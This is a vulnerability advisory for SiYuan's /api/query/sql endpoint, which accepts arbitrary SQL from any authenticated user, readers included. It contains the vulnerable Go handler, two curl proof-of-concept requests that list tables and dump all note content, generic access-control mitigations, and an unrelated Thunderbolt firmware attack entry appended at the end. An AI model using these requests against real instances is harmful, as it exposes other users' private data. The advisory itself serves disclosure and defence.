GHSA-JQWG-75QF-VMF9
Vulnerability from github – Published: 2026-03-03 21:17 – Updated: 2026-03-06 21:57Summary
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.
Details
The vulnerable endpoint is in kernel/api/sql.go
func SQL(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
stmt := arg["stmt"].(string)
result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
The route in kernel/api/router.go only uses CheckAuth middleware
e.g (similar)
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
PoC
Start SiYuan with the publish service turned on
# List out all tables in the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'
# Extract all user content from the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT id, content FROM blocks"}'
Impact
- High impact, reader users can query all data in the db including other users notes
- SQL api is mostly for select queries, but without validation, writes can still happen
- Malicious SQL can lead to serious performance issues
this is an auth bypass, the sql feature is for power users but even readers can use it

Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
